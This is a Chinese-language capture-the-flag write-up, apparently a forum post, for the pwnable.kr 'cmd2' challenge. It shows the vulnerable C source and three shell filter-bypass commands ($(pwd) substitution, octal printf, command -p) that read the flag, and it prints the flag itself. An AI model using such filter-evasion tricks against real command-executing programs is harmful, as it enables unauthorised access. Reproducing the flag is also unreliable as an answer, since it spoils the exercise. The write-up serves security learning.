首页
社区
课程
招聘
[分享]pwnable.kr cmd2 day13
2021-1-15 20:16 8869

[分享]pwnable.kr cmd2 day13

2021-1-15 20:16
8869

cmd2

题目

title

解题过程

1. 查看文件列表

list
可通过运行 cmd2 文件临时获得与 cmd2_pwn 相同的权限。

2. 阅读 cmd2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}
 
extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
 
int main(int argc, char* argv[], char** envp){
        delete_env();       // 清除所有环境变量
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;       // 输入的命令不能包含 = PATH export / ` flag 这六个字符
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

与 cmd1 相比,难度在于过滤了 /
我们可以通过 pwd 或者用 / 的 ascii 码来绕过 对 / 的过滤,也可利用 command -p 来避免使用 /
用通配符绕过对 flag 的过滤

3. pwn

红框内为 flag
FuN_w1th_5h3ll_v4riabl3s_haha

pwd绕过

首先进入根目录,此时 pwd 为 /
然后执行/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*' 因为 cat 与 /home 之间有空格隔开,所以需要添加引号
flag1

ascii 码绕过

使用 ascii 码来代替字符的时候只能使用八进制
/ 的 ascii 码十六进制为 2f 八进制为 57
./cmd2 '$(printf \\57bin\\57cat) fl*'
flag2

command -p 绕过

如果直接执行 cat flag 会提示找不到 cat 指令,这是需要利用 command -p 来寻找 cat 指令。

command -p 使用 PATH 环境变量的缺省值执行命令搜索;查找所有命令
PATH缺省值:export PATH=/usr/local/sbin/:/usr/local/bin:/sbin:/bin:/usr/bin:/root/bin

 

flag3


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回